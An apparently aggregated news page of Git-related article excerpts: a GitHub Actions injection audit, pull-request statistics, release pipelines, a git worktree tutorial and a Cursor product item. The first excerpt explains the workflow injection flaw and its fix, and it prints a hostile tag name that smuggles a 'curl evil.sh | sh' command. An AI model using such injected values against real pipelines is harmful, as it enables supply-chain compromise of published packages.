今日已更新 84 条资讯 | 累计 37333 条内容
关于我们

标签：#Git

找到 1701 篇相关文章

AI 资讯

I Read 25 Release Pipelines Looking for One Bug. Four Had It.

There is one line of YAML I have been chasing across open source for months: run : | TAG="${{ github.event.release.tag_name }}" It looks like reading a variable. It is not. ${{ ... }} is a template expression . GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program. So a tag named: v1.0 "; curl evil.sh | sh; echo " is not compared. It runs. Why it is always the release workflow You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes. That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live: permissions : id-token : write # Trusted Publishing to PyPI The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users. The JavaScript variant is worse actions/github-script has the same flaw, but people miss it because the block looks like a script file: - uses : actions/github-script@v7 with : script : | const tag = '${{ env.RELEASE_TAG }}'; That script: body is JavaScript source . The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code. And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~ , ^ , : , ? , * , [ and backslash. It does not reject ' . The fix is three lines Pass the value through env . An environment variable is only ever data — it is never re-parsed as source text. # Before run : | TAG="${{ github.event.release.tag_name }}" # After env : RELEASE_TAG : ${{ github.event.release.tag_name }} run : | TAG="$RELEASE_TAG" Same for the JavaScript case — process.env.RELEASE_TAG ins

2026-08-26 原文 →
AI 资讯

My 369 Merged Pull Requests On GitHub, Every Single One Linked And Verified

As of August 26, 2026, GitHub reports that 398 merged pull requests carry my name on the author line. Twenty nine of those live inside repositories that I own myself, so I removed them from this count on purpose. What remains is the number that actually matters to me: 369 pull requests merged into other people's repositories , across 33 external projects , maintained by strangers who had zero reason to trust my code. Every single one of those 369 merges is real, dated, and linked in this post. Nothing here is rounded up and nothing is claimed without proof. If you want to skip my writing entirely, open the search query in section two and run it yourself. That is the whole point of this article. You should never have to take a stranger's word about their own stats. Jump To Any Section How I Verified These Numbers | The Complete Scoreboard | 2024 The Year Of Volume | 2025 Fewer Pull Requests Higher Quality | 2026 The Year Production Code Got Merged | What 369 Merges Taught Me | Frequently Asked Questions | Where To Find Me How I Verified These Numbers I did not count these by hand. I queried the GitHub search API directly, which means the numbers come from GitHub itself, not from my memory or my ego. You can reproduce everything in this post with one click: https://github.com/search?q=is%3Apr+is%3Amerged+author%3Aaniruddhaadak80&type=pullrequests Or if you have the GitHub CLI installed: gh api -X GET search/issues -f q = "is:pr is:merged author:aniruddhaadak80" That query currently returns 398 results. I then filtered out every repository under my own account, which left exactly 369 external merges. The math is boring on purpose: 398 minus 29 own repository merges equals 369. One more honest number before we go further. I have submitted 918 pull requests in my lifetime so far. That means fewer than half of everything I ever sent got merged. Rejection is not the exception in open source, it is the price of admission, and anyone who shows you a 100 percent merge rate is

2026-08-26 原文 →
AI 资讯

From "Merge is Deploy" to Release Engineering with GitHub Actions

Have you ever stopped to think about the risk of having a pipeline where any merge into the main branch deploys straight to production without a single safety gate? For a long time, our workflow here was that classic setup almost every developer has used at some point: merge on main triggering an SSH script with git pull and pm2 restart It worked for day-to-day tasks, but it gave a false sense of stability lol The reality check hit when I found a critical blind spot in the automation: remote SSH scripts were running without strict error handling. In other words, if a git pull caused a conflict or a database migration failed halfway through, the script simply ignored the failure, ran to the end, and GitHub Actions marked the pipeline as green The absolute worst-case scenario for monitoring: the pipeline reported that everything went smoothly, while production was already completely down On top of that, the execution order was inverted: database migrations were running before the application build. If TypeScript threw a type error right after, the database schema had already advanced while the new code never booted. And since Prisma has no native down migrations, rolling back meant a high-risk manual intervention I decided to stop everything and redesign our delivery pipeline from scratch, starting from one clear premise: a tag is a release, a merge is not Today, nothing touches the production server without an annotated SemVer tag, going through 6 tightly coupled stages: Strict tag validation: only accepts annotated tags matching vX.Y.Z, ensuring author, timestamp, and audit trail for every single release Quality gates across PR and Release: automated tests with Vitest, strict typechecking, builds, and migration validation against a clean database via workflow_call Decoupled backups: an independent daily scheduled routine combined with a mandatory safety snapshot right before touching production Real migration dry-run: the most valuable gate, where the pipeline resto

2026-08-25 原文 →
AI 资讯

Chega de git stash: como trabalhar em múltiplas features em paralelo com git worktree

Se você já perdeu tempo com essa sequência: git stash git checkout outra-branch # resolve o problema urgente git checkout branch-original git stash pop ...só pra descobrir depois que esqueceu o que tinha no stash, ou que o venv / node_modules da outra branch estava desatualizado — este artigo é pra você. O problema Um repositório Git tradicional tem uma única pasta de trabalho ligada a uma branch por vez. Trocar de branch significa trocar todo o conteúdo dessa pasta. Isso funciona bem quando você faz uma coisa de cada vez, mas quebra assim que você precisa: Revisar um PR urgente enquanto está no meio de uma feature grande Rodar testes de uma branch enquanto edita outra Manter ambientes de dependências diferentes (versões de libs, .env ) para features distintas sem reinstalar tudo a cada troca A saída mais comum é o stash , mas ele é frágil: some da vista, acumula, e é fácil esquecer o que tinha ali dentro. A solução: git worktree O git worktree permite ter várias pastas de trabalho simultâneas , cada uma vinculada a uma branch diferente, todas compartilhando o mesmo histórico de commits (o .git ). Pense em uma biblioteca central (o histórico do repositório) com várias mesas de leitura (as worktrees), cada uma com um livro diferente aberto. Você não precisa fechar um livro pra abrir outro. O que é compartilhado, o que é separado Compartilhado entre worktrees Separado por worktree Histórico de commits Arquivos da working directory Objetos do Git (blobs, trees) Arquivos não versionados ( .env , venv , node_modules ) Configuração do repositório Saída do git status Um commit feito em uma worktree aparece imediatamente no git log das outras — mas os arquivos físicos de cada pasta continuam independentes. Colocando em prática Criando uma worktree com branch nova git worktree add ../meu-projeto-feature-x -b feature/nome-da-feature Isso cria a pasta ../meu-projeto-feature-x , já com uma branch nova feature/nome-da-feature criada a partir do commit atual. Criando uma worktree

2026-08-25 原文 →
AI 资讯

Cursor Releases Origin as an Agent-Native Alternative to GitHub

AI coding agent Cursor has launched Origin, a git based code hosting platform embedded inside its AI-powered editor, positioning it as an alternative to GitHub for teams that already work in Cursor. Origin is rolling out in early beta on Pro, Teams and Enterprise plans, and lives inside a new Codebase tab within the Cursor application. By Matt Saunders

2026-08-25 原文 →
← 上一页 下一页 →